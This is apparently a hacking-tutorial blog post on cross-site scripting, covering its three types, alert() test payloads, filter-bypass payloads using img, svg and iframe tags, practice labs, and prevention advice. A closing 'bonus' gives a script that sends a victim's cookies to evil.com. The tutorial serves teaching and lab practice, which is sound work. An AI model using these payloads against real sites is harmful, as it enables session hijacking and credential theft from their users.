Hack That Shit
Cross-Site Scripting (XSS) – Injecting Scripts into Web Pages

Cross-Site Scripting (XSS) – Injecting Scripts into Web Pages

by

Introduction

Cross-Site Scripting, or XSS, allows attackers to inject malicious scripts into web pages — often affecting unsuspecting users.

This can lead to:

  • Session hijacking

  • Credential theft

  • Website defacement

  • Malware delivery

In this part, you’ll learn the 3 main types of XSS and how to test and exploit them.

🚨 What Is XSS?

XSS = Inserting JavaScript into a web page so it runs in another user’s browser.

Example:

<script>alert('XSS')</script>

If this appears unsanitized in a page, the browser executes it — and attackers can steal cookies or redirect users.

🧠 3 Types of XSS

🔁 Reflected XSS

  • Payload appears in the URL or form submission

  • Not stored; only triggers when clicked

Example:

http://site.com/search?q=<script>alert(1)</script>

🧨 Stored XSS

  • Malicious input is saved in the database and shown to all users

  • Most dangerous type

Example:

  • Comment field or profile bio field that stores JavaScript

⚙️ DOM-based XSS

  • Payload is executed by client-side JavaScript

  • No server-side reflection needed

Example:

document.write(location.hash)

If the app uses unsanitized location.hash, then visiting:

site.com#<script>alert(1)</script>

triggers code in the DOM.

🧪 Testing for XSS

Start simple:

<script>alert(1)</script>

Try payloads in:

  • Search fields

  • Contact forms

  • URL parameters

  • Comment boxes

  • Cookies (use Burp)

Common Bypass Payloads:

<IMG SRC=javascript:alert(1)>
<svg/onload=alert(1)>
<iframe src=javascript:alert(1)>

Use Burp Suite to:

  • Intercept and modify input fields

  • Inject payloads

  • Observe server response and output

🧪 Practice Labs

  • DVWA → XSS (Reflected & Stored)

  • bWAPP → XSS (Persistent, DOM, Advanced)

  • OWASP Juice Shop → Various XSS challenges

Try submitting:

<script>alert('Hacked!')</script>

in comment sections, profile updates, and URL bars.

🛡️ How to Prevent XSS

From a defender’s view:

  • Always escape HTML characters

  • Sanitize user input using libraries like DOMPurify

  • Set HTTP headers: Content-Security-Policy, X-XSS-Protection

  • Avoid inserting raw data into HTML/JS

🧪 Bonus: Stealing Cookies (Demo Concept)

If a site is vulnerable:

<script>document.location='http://evil.com/?cookie='+document.cookie</script>

🛑 Only do this in legal labs like DVWA — never test this on live apps without permission.

🔚 Wrapping Up

XSS is often underestimated, but can lead to major damage. You’ve now seen:

  • Types of XSS

  • How to detect it

  • How to exploit it ethically

  • How developers should protect against it

👉 Next up:
Part 6 – Command Injection: Shell Access Through User Input

We’ll explore how attackers jump from the web interface to the system shell — and gain remote control of servers.

1 thought on “Cross-Site Scripting (XSS) – Injecting Scripts into Web Pages”

  1. Pingback: SQL Injection – Extracting Data from Web Apps

Leave a comment

Table of Contents

→ Index